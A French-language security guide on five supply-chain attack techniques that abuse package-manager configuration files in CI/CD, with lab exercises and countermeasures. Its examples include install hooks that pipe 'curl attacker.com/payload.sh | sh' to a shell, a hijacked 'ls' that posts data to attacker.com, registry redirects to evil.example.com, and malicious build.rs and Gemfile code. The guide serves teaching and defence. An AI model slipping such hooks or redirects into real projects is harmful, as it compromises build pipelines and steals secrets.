Une pull request ajoute un fichier .npmrc d’une seule ligne à la racine du
projet. Rien de suspect — juste une configuration de registre. Pourtant, au
prochain npm install dans le pipeline, toutes les dépendances sont
téléchargées depuis un serveur contrôlé par l’attaquant. Pas de code
malveillant dans le diff, pas d’alerte de sécurité, pas de modification du
package.json.
Ce guide couvre 5 techniques d’attaque exploitant les fichiers de configuration de 7 gestionnaires de paquets (npm, pip, poetry, uv, yarn, bundler, cargo). Vous apprendrez à les reproduire en lab et à les neutraliser.
Ce que vous allez apprendre
Section intitulée « Ce que vous allez apprendre »- Pourquoi les gestionnaires de paquets sont un vecteur d’attaque sous-estimé en CI/CD
- 5 techniques concrètes : redirection de registre, scripts de lifecycle, détournement de commande, fichiers de config exécutables, scripts de build
- Comment reproduire chaque attaque dans un lab sécurisé
- Les contre-mesures pour protéger vos pipelines
Vue d’ensemble du flux d’attaque
Section intitulée « Vue d’ensemble du flux d’attaque »Le diagramme suivant montre comment un attaquant exploite les fichiers de configuration des gestionnaires de paquets pour exécuter du code dans un pipeline CI/CD — et comment les contre-mesures bloquent chaque étape.
Pourquoi les gestionnaires de paquets sont dangereux
Section intitulée « Pourquoi les gestionnaires de paquets sont dangereux »Le problème fondamental
Section intitulée « Le problème fondamental »Dans un pipeline CI/CD, npm install, pip install -r requirements.txt
ou cargo build sont des commandes considérées comme sûres. Elles font
partie de chaque build, de chaque déploiement. Personne ne les remet en
question.
Le problème : ces commandes ne se contentent pas de télécharger du code. Elles lisent des fichiers de configuration, exécutent des scripts, compilent du code — et chacune de ces étapes peut être détournée pour exécuter du code arbitraire.
L’analogie du colis piégé
Section intitulée « L’analogie du colis piégé »Imaginez que vous commandez un livre en ligne. Le livreur est de confiance, le colis a l’air normal. Mais quelqu’un a changé l’adresse de l’entrepôt sur votre bon de commande. Vous recevez un colis qui ressemble au bon livre, sauf qu’il contient autre chose. C’est exactement ce que fait une redirection de registre : le gestionnaire de paquets fait son travail normalement, mais il télécharge depuis le mauvais endroit.
Pour les scripts de lifecycle, c’est encore pire : c’est comme si le colis contenait un mécanisme qui s’active à l’ouverture. Vous n’avez même pas besoin d’utiliser le contenu — le simple fait de l’installer déclenche l’exécution.
Comment l’attaque arrive dans le pipeline
Section intitulée « Comment l’attaque arrive dans le pipeline »Un attaquant peut introduire ces fichiers piégés de plusieurs façons :
| Vecteur | Technique | Fichier piégé |
|---|---|---|
| PR malveillante | Ajout/modification d’un fichier de config | .npmrc, requirements.txt, .yarnrc.yml |
| Dépendance compromise | Le paquet contient un script post-install | package.json, setup.py |
| Dependency confusion | Paquet interne remplacé par un paquet public | requirements.txt, package.json |
| Fork empoisonné | Le fork contient des fichiers de config modifiés | Cargo.toml + build.rs |
| Cache empoisonné | Le cache CI contient des fichiers modifiés | .npmrc, .bundle/config |
Vue d’ensemble des 7 gestionnaires ciblés
Section intitulée « Vue d’ensemble des 7 gestionnaires ciblés »| Gestionnaire | Écosystème | Fichiers de config dangereux | Techniques |
|---|---|---|---|
| npm | Node.js | .npmrc, package.json | Registre, lifecycle |
| npx | Node.js | .npmrc, node_modules/.bin/ | Registre, binaire |
| pip | Python | requirements.txt, setup.py | Registre, post-install, hijack |
| poetry | Python | pyproject.toml | Registre, scripts, post-install |
| uv | Python | requirements.txt | Mêmes que pip |
| yarn | Node.js | .yarnrc.yml | Config exécutable |
| bundler | Ruby | Gemfile, .bundle/config | Config exécutable |
| cargo | Rust | Cargo.toml, build.rs | Script de build |
Technique 1 : Redirection de registre
Section intitulée « Technique 1 : Redirection de registre »La redirection de registre est l’attaque la plus simple : un fichier de configuration redirige le gestionnaire de paquets vers un registre contrôlé par l’attaquant. Les paquets téléchargés peuvent contenir du code malveillant, tout en portant les mêmes noms et versions que les paquets légitimes.
npm / npx : le fichier .npmrc
Section intitulée « npm / npx : le fichier .npmrc »Un fichier .npmrc placé à la racine du projet est lu automatiquement par
npm install et npx. Une seule ligne suffit :
registry=https://evil.example.com/À partir de ce moment, toutes les dépendances du projet sont téléchargées
depuis le registre malveillant. Le package-lock.json ne protège pas : il
contient des hashes, mais npm fait confiance au registre défini dans .npmrc.
pip : l’option -i dans requirements.txt
Section intitulée « pip : l’option -i dans requirements.txt »Peu de développeurs le savent : requirements.txt accepte des options de
ligne de commande, pas seulement des noms de paquets. L’option -i (ou
--index-url) redirige pip vers un autre registre :
-i https://evil.example.com/simple/requests==2.31.0flask==3.0.0La commande pip install -r requirements.txt téléchargera requests et
flask depuis evil.example.com au lieu de PyPI. L’option
--extra-index-url est encore plus vicieuse : elle ajoute un registre
supplémentaire, et pip choisit la version la plus récente entre les deux
registres — ce qui permet une attaque par dependency confusion.
poetry : sources malveillantes dans pyproject.toml
Section intitulée « poetry : sources malveillantes dans pyproject.toml »Poetry permet de définir des sources de paquets dans pyproject.toml :
[[tool.poetry.source]]name = "internal"url = "https://evil.example.com/simple/"priority = "primary"Avec priority = "primary", cette source est consultée avant PyPI pour
tous les paquets du projet.
Lab : tester la redirection de registre
Section intitulée « Lab : tester la redirection de registre »-
Créer un projet npm avec
.npmrcmalveillant :Fenêtre de terminal mkdir lab-npm-registry && cd lab-npm-registryecho '{"name":"lab","dependencies":{"is-odd":"3.0.1"}}' > package.jsonecho 'registry=https://evil.example.com/' > .npmrc -
Lancer
npm installet observer :Fenêtre de terminal timeout 10 npm install 2>&1 || trueRésultat attendu : npm tente de contacter
evil.example.comet échoue (timeout ou erreur DNS). En production, le registre malveillant répondrait avec des paquets piégés. -
Tester la même chose avec pip :
Fenêtre de terminal mkdir lab-pip-registry && cd lab-pip-registryprintf -- '-i https://evil.example.com/simple/\nrequests==2.31.0\n' > requirements.txtpip install -r requirements.txt 2>&1 || trueRésultat attendu : pip affiche une erreur de connexion vers
evil.example.com. -
Nettoyer :
Fenêtre de terminal cd .. && rm -rf lab-npm-registry lab-pip-registry
Technique 2 : Scripts de lifecycle et post-installation
Section intitulée « Technique 2 : Scripts de lifecycle et post-installation »Certains gestionnaires de paquets exécutent automatiquement des scripts
avant, pendant ou après l’installation d’un paquet. Un attaquant
peut exploiter ces mécanismes pour exécuter du code arbitraire lors d’un simple
install.
npm : preinstall et postinstall
Section intitulée « npm : preinstall et postinstall »Le fichier package.json supporte des lifecycle scripts qui s’exécutent
automatiquement :
| Script | Quand il s’exécute |
|---|---|
preinstall | Avant l’installation des dépendances |
install | Pendant l’installation |
postinstall | Après l’installation des dépendances |
prepare | Après install et avant publish |
prestart | Avant npm start |
pretest | Avant npm test |
Un package.json malveillant peut exécuter n’importe quelle commande :
{ "name": "paquet-legitime", "version": "1.0.0", "scripts": { "preinstall": "curl https://attacker.com/payload.sh | sh" }}La commande npm install exécutera curl ... | sh avant même d’installer
les dépendances. En septembre 2025, cette technique a été utilisée pour
compromettre les paquets debug et chalk sur npm, affectant des millions
de projets via le ver Shai-Hulud.
pip : setup.py avec cmdclass
Section intitulée « pip : setup.py avec cmdclass »Quand pip installe un paquet depuis les sources (pas une wheel pré-compilée), il
exécute setup.py. Un attaquant peut surcharger la commande d’installation :
from setuptools import setupfrom setuptools.command.install import install
class MaliciousInstall(install): def run(self): # Code exécuté PENDANT l'installation import os os.system("curl https://attacker.com/payload.sh | sh") install.run(self)
setup( name="paquet-legitime", version="1.0.0", cmdclass={"install": MaliciousInstall},)La commande pip install ./paquet-legitime ou pip install paquet-legitime
(si le paquet est distribué en sdist) exécutera le code malveillant.
Lab : tester les scripts de lifecycle
Section intitulée « Lab : tester les scripts de lifecycle »-
Créer un
package.jsonavecpreinstall:Fenêtre de terminal mkdir lab-npm-lifecycle && cd lab-npm-lifecyclecat > package.json << 'JSON'{"name": "lab-lifecycle","version": "1.0.0","scripts": {"preinstall": "echo '[LOTP] preinstall RCE' > /tmp/lab-npm-pwned.txt"}}JSON -
Lancer
npm install:Fenêtre de terminal npm install --ignore-scripts=false 2>&1cat /tmp/lab-npm-pwned.txtRésultat attendu : le fichier
/tmp/lab-npm-pwned.txtcontient[LOTP] preinstall RCE. Le script s’exécute sans aucun avertissement. -
Créer un paquet pip avec
setup.pymalveillant :Fenêtre de terminal mkdir -p lab-pip-setup/malicious_pkgcat > lab-pip-setup/malicious_pkg/setup.py << 'PYTHON'from setuptools import setupfrom setuptools.command.install import installimport osclass Exploit(install):def run(self):os.system("echo '[LOTP] setup.py RCE' > /tmp/lab-pip-pwned.txt")install.run(self)setup(name="malicious", version="1.0.0", cmdclass={"install": Exploit})PYTHON -
Installer le paquet :
Fenêtre de terminal pip install ./lab-pip-setup/malicious_pkg 2>&1cat /tmp/lab-pip-pwned.txtRésultat attendu : le fichier contient
[LOTP] setup.py RCE. -
Nettoyer :
Fenêtre de terminal rm -f /tmp/lab-npm-pwned.txt /tmp/lab-pip-pwned.txtpip uninstall malicious -y 2>/dev/nullcd .. && rm -rf lab-npm-lifecycle lab-pip-setup
Technique 3 : Détournement de commande (command hijack)
Section intitulée « Technique 3 : Détournement de commande (command hijack) »Cette technique exploite les mécanismes d’entry points pour remplacer des
commandes système par des versions malveillantes. L’attaquant publie un paquet
qui déclare un console_scripts portant le nom d’une commande courante (ls,
git, curl…).
pip : console_scripts dans setup.py
Section intitulée « pip : console_scripts dans setup.py »Les entry points console_scripts permettent à un paquet Python d’installer un
exécutable dans le PATH :
from setuptools import setup
setup( name="evil-ls", version="1.0.0", py_modules=["evil"], entry_points={ "console_scripts": [ "ls=evil:main", # Remplace la commande ls ! ], },)def main(): import subprocess # Exfiltrer les secrets avant d'exécuter le vrai ls subprocess.run(["curl", "-s", "https://attacker.com/collect", "-d", f"PATH={__import__('os').environ.get('PATH', '')}"], capture_output=True) # Exécuter le vrai ls pour ne pas éveiller les soupçons subprocess.run(["/bin/ls"] + __import__('sys').argv[1:])Après pip install evil-ls, la commande ls du paquet est installée dans le
répertoire bin/ de l’environnement Python. Dans un venv ou un pipeline
CI/CD où le PATH Python est prioritaire, cette version malveillante de ls
sera exécutée à la place de /bin/ls.
poetry : [project.scripts] dans pyproject.toml
Section intitulée « poetry : [project.scripts] dans pyproject.toml »Poetry utilise le même mécanisme via pyproject.toml :
[project.scripts]git = "malicious_pkg:hijacked_git"Lab : tester le détournement de commande
Section intitulée « Lab : tester le détournement de commande »-
Créer un paquet avec un
console_scriptsmalveillant :Fenêtre de terminal mkdir -p lab-hijack/evil_pkgcat > lab-hijack/evil_pkg/setup.py << 'PYTHON'from setuptools import setupsetup(name="evil-ls",version="1.0.0",py_modules=["evil"],entry_points={"console_scripts": ["ls=evil:main"]},)PYTHONcat > lab-hijack/evil_pkg/evil.py << 'PYTHON'def main():print("[LOTP] Commande ls détournée !")PYTHON -
Installer et vérifier :
Fenêtre de terminal pip install ./lab-hijack/evil_pkg 2>&1which -a lsRésultat attendu :
which -a lsmontre deux entrées — lelsmalveillant dans le PATH Python, et/bin/lssystème. Dans un pipeline CI/CD sans alias shell, lelsmalveillant serait exécuté en priorité. -
Nettoyer immédiatement :
Fenêtre de terminal pip uninstall evil-ls -ycd .. && rm -rf lab-hijack
Technique 4 : Fichiers de configuration exécutables
Section intitulée « Technique 4 : Fichiers de configuration exécutables »Certains gestionnaires de paquets utilisent des fichiers de configuration qui sont en réalité du code exécutable. Modifier ces fichiers revient à injecter du code qui sera exécuté lors de la prochaine commande du gestionnaire.
yarn : yarnPath dans .yarnrc.yml
Section intitulée « yarn : yarnPath dans .yarnrc.yml »Yarn 2+ utilise un fichier .yarnrc.yml pour sa configuration. La directive
yarnPath indique à yarn quel fichier JavaScript exécuter comme gestionnaire de
paquets :
yarnPath: "./malicious.js"const fs = require("fs");// Code exécuté AVANT toute commande yarnfs.writeFileSync("/tmp/yarn-pwned.txt", "[LOTP] yarnPath RCE — exécuté par yarn\n");// Même `yarn --version` déclenche l'exécutionprocess.exit(0);Chaque commande yarn — y compris yarn --version — exécute d’abord le
fichier pointé par yarnPath. C’est un comportement par conception de
Yarn 2+ (Plug’n’Play), mais il devient un vecteur d’attaque lorsqu’un attaquant
modifie .yarnrc.yml via une PR.
bundler : le Gemfile est du Ruby
Section intitulée « bundler : le Gemfile est du Ruby »Contrairement aux autres fichiers de configuration, un Gemfile n’est pas du
YAML ou du JSON : c’est du code Ruby exécuté par Bundler. Tout code Ruby
valide placé dans un Gemfile sera exécuté lors de bundle install :
# Code Ruby exécuté au chargement du GemfileFile.write("/tmp/bundler-pwned.txt", "[LOTP] Gemfile RCE — code Ruby exécuté\n")
source "https://rubygems.org"gem "rake"Le code Ruby est exécuté avant la résolution des dépendances. Bundler
accepte aussi une redirection via .bundle/config :
---BUNDLE_GEMFILE: "/chemin/vers/Gemfile-malveillant"Cette technique redirige bundle install vers un Gemfile arbitraire, même s’il
se trouve dans un autre répertoire.
Lab : tester les fichiers de configuration exécutables
Section intitulée « Lab : tester les fichiers de configuration exécutables »-
Tester yarn avec
yarnPathmalveillant :Fenêtre de terminal mkdir lab-yarn && cd lab-yarnecho '{"name":"lab-yarn","version":"1.0.0"}' > package.jsoncat > poc.js << 'JS'const fs = require("fs");fs.writeFileSync("/tmp/lab-yarn-pwned.txt","[LOTP] yarnPath RCE — même yarn --version l'exécute\n");console.log("[POC] Code exécuté via yarnPath");process.exit(0);JSecho 'yarnPath: "./poc.js"' > .yarnrc.ymlyarn --version 2>&1cat /tmp/lab-yarn-pwned.txtRésultat attendu : même
yarn --versionexécutepoc.jset crée le fichier. La commande yarn n’est jamais atteinte — le code malveillant prend le contrôle immédiatement. -
Tester bundler avec du code Ruby dans le Gemfile :
Fenêtre de terminal mkdir lab-bundler && cd lab-bundlercat > Gemfile << 'RUBY'File.write("/tmp/lab-bundler-pwned.txt","[LOTP] Gemfile RCE — code Ruby exécuté\n")source "https://rubygems.org"gem "rake"RUBYruby -e 'load "./Gemfile"' 2>&1 || truecat /tmp/lab-bundler-pwned.txtRésultat attendu : même si
sourceprovoque une erreur (méthode non définie hors Bundler), leFile.writes’exécute avant l’erreur. En contexte Bundler, tout le fichier s’exécute sans erreur. -
Nettoyer :
Fenêtre de terminal rm -f /tmp/lab-yarn-pwned.txt /tmp/lab-bundler-pwned.txtcd .. && rm -rf lab-yarn lab-bundler .yarnrc.yml
Technique 5 : Exécution au build (build scripts)
Section intitulée « Technique 5 : Exécution au build (build scripts) »cargo : build.rs — exécution avant la compilation
Section intitulée « cargo : build.rs — exécution avant la compilation »Cargo exécute automatiquement un fichier build.rs situé à la racine d’un
crate avant de compiler le code Rust. Ce fichier peut contenir n’importe
quel code Rust, y compris des appels système :
use std::process::Command;use std::fs;
fn main() { // Exécuté AUTOMATIQUEMENT avant cargo build let output = Command::new("id").output().unwrap(); let id = String::from_utf8_lossy(&output.stdout); fs::write("/tmp/cargo-pwned.txt", format!("[LOTP] build.rs RCE — {}", id)).unwrap();}Le fichier build.rs est exécuté dans ces contextes :
| Commande | Exécute build.rs ? |
|---|---|
cargo build | Oui |
cargo test | Oui (compilation requise) |
cargo bench | Oui (compilation requise) |
cargo run | Oui (compilation requise) |
cargo check | Oui |
cargo doc | Oui |
Le fichier Cargo.toml peut aussi référencer des dépendances de build qui
contiennent elles-mêmes un build.rs :
[build-dependencies]malicious-build-helper = "1.0.0"Lab : tester l’exécution de build.rs
Section intitulée « Lab : tester l’exécution de build.rs »-
Créer un projet Rust avec un
build.rsmalveillant :Fenêtre de terminal mkdir lab-cargo && cd lab-cargocat > Cargo.toml << 'TOML'[package]name = "lab-cargo"version = "0.1.0"edition = "2021"TOMLmkdir srcecho 'fn main() { println!("Hello"); }' > src/main.rscat > build.rs << 'RUST'use std::process::Command;use std::fs;fn main() {fs::write("/tmp/lab-cargo-pwned.txt","[LOTP] build.rs RCE — code exécuté avant la compilation\n").unwrap();let output = Command::new("id").output().unwrap();fs::write("/tmp/lab-cargo-id.txt",format!("Exécuté en tant que: {}",String::from_utf8_lossy(&output.stdout))).unwrap();}RUST -
Lancer
cargo build:Fenêtre de terminal cargo build 2>&1cat /tmp/lab-cargo-pwned.txtcat /tmp/lab-cargo-id.txtRésultat attendu : les deux fichiers sont créés. Le
build.rss’exécute avant la compilation desrc/main.rs, avec les droits complets de l’utilisateur du pipeline. -
Nettoyer :
Fenêtre de terminal rm -f /tmp/lab-cargo-pwned.txt /tmp/lab-cargo-id.txtcd .. && rm -rf lab-cargo
Contre-mesures
Section intitulée « Contre-mesures »Mesures transversales (tous les gestionnaires)
Section intitulée « Mesures transversales (tous les gestionnaires) »| Contre-mesure | Impact | Difficulté |
|---|---|---|
| Fichier lockfile vérifié | Détecte les changements de registre/hash | Faible |
--ignore-scripts pour npm | Bloque preinstall/postinstall | Faible |
--no-build-isolation désactivé pour pip | Isole le build | Faible |
| Revue des fichiers de config dans les PR | Détecte .npmrc, .yarnrc.yml, etc. | Moyenne |
| CODEOWNERS sur les fichiers sensibles | Exige une approbation pour les fichiers de config | Moyenne |
| Pipeline en lecture seule | Limite l’impact des RCE | Élevée |
Par gestionnaire de paquets
Section intitulée « Par gestionnaire de paquets »# Désactiver les lifecycle scriptsnpm install --ignore-scripts
# Auditer les scripts avant installationnpm pack <paquet> && tar xf <paquet>.tgz && cat package/package.json | jq '.scripts'
# Protéger .npmrc avec CODEOWNERSecho "/.npmrc @security-team" >> .github/CODEOWNERS# Installer uniquement des wheels (pas de setup.py)pip install --only-binary=:all: -r requirements.txt
# Épingler les index dans la CI (pas dans requirements.txt)pip install --index-url https://pypi.org/simple/ -r requirements.txt
# Vérifier les hashespip install --require-hashes -r requirements.txtFichier requirements.txt sécurisé (avec hashes) :
requests==2.31.0 \ --hash=sha256:942c5a758f98d790eaed1a29cb6eefc7f0d329b5e0be51dc16c8c4a83e4b2b5f# Vérifier les build scripts avant compilationcargo vendor && grep -r "Command::new" vendor/*/build.rs
# Utiliser cargo-audit pour détecter les vulnérabilitéscargo install cargo-auditcargo audit
# Examiner les build-dependenciesgrep -A5 "build-dependencies" Cargo.toml# Vérifier que yarnPath pointe vers un fichier légitimecat .yarnrc.yml | grep yarnPath
# Le yarnPath devrait pointer vers .yarn/releases/yarn-*.cjs# JAMAIS vers un fichier .js arbitraire
# Protéger .yarnrc.yml avec CODEOWNERSecho "/.yarnrc.yml @security-team" >> .github/CODEOWNERS# Examiner le Gemfile pour du code Ruby suspectgrep -E "system|exec|spawn|\`|%x|IO.popen|File.write" Gemfile
# Protéger le Gemfile avec CODEOWNERSecho "/Gemfile @security-team" >> .github/CODEOWNERSecho "/.bundle/config @security-team" >> .github/CODEOWNERSFichiers à surveiller dans les PR
Section intitulée « Fichiers à surveiller dans les PR »Configurez votre pipeline pour alerter lorsqu’une PR modifie ces fichiers :
# Fichiers de configuration des gestionnaires de paquets/.npmrc @security-team/.yarnrc.yml @security-team/Gemfile @security-team/.bundle/config @security-team/build.rs @security-team
# Fichiers qui peuvent contenir des redirections de registre/requirements.txt @security-team/pyproject.toml @security-team/Cargo.toml @security-teamDépannage
Section intitulée « Dépannage »| Symptôme | Cause probable | Solution |
|---|---|---|
npm install télécharge depuis un registre inconnu | .npmrc avec un registry modifié | Vérifier .npmrc à la racine et dans ~/.npmrc |
pip install échoue avec une erreur de certificat | -i vers un registre HTTPS non valide dans requirements.txt | Inspecter requirements.txt pour les options -i ou --extra-index-url |
| Un binaire système se comporte étrangement | console_scripts installe un binaire homonyme | which -a <commande> pour lister toutes les versions |
yarn exécute du code inattendu | yarnPath pointe vers un fichier malveillant | Vérifier .yarnrc.yml — yarnPath doit pointer vers .yarn/releases/ |
cargo build écrit des fichiers inattendus | build.rs contient du code malveillant | Lire build.rs et chercher Command::new, fs::write |
bundle install exécute des commandes | Le Gemfile contient du code Ruby arbitraire | Chercher system, exec, File.write dans le Gemfile |
Récapitulatif des techniques
Section intitulée « Récapitulatif des techniques »| # | Technique | Gestionnaires | Fichier piégé | Déclencheur |
|---|---|---|---|---|
| 1 | Redirection de registre | npm, pip, poetry, uv | .npmrc, requirements.txt, pyproject.toml | install |
| 2 | Scripts de lifecycle | npm, pip, poetry, uv | package.json, setup.py | install |
| 3 | Détournement de commande | pip, poetry | setup.py, pyproject.toml | install + usage |
| 4 | Config exécutable | yarn, bundler | .yarnrc.yml, Gemfile | Toute commande |
| 5 | Script de build | cargo | build.rs | build, test, check |
À retenir
Section intitulée « À retenir »-
Les gestionnaires de paquets ne sont pas de simples téléchargeurs : ils exécutent du code à l’installation, au build, et même à la configuration.
-
5 techniques permettent l’exécution de code arbitraire : redirection de registre, scripts de lifecycle, détournement de commande, fichiers de config exécutables, et scripts de build.
-
Tous les écosystèmes sont concernés : Node.js (npm, yarn), Python (pip, poetry, uv), Ruby (bundler) et Rust (cargo).
-
La technique la plus simple est la redirection de registre (une ligne dans
.npmrcourequirements.txt), la plus dangereuse est le script de lifecycle (exécution automatique sans avertissement). -
La contre-mesure la plus efficace est CODEOWNERS : exiger une revue par l’équipe sécurité pour tout fichier de configuration de gestionnaire de paquets.
-
--ignore-scripts(npm) et--only-binary=:all:(pip) bloquent l’exécution de code à l’installation, mais peuvent casser certains paquets légitimes.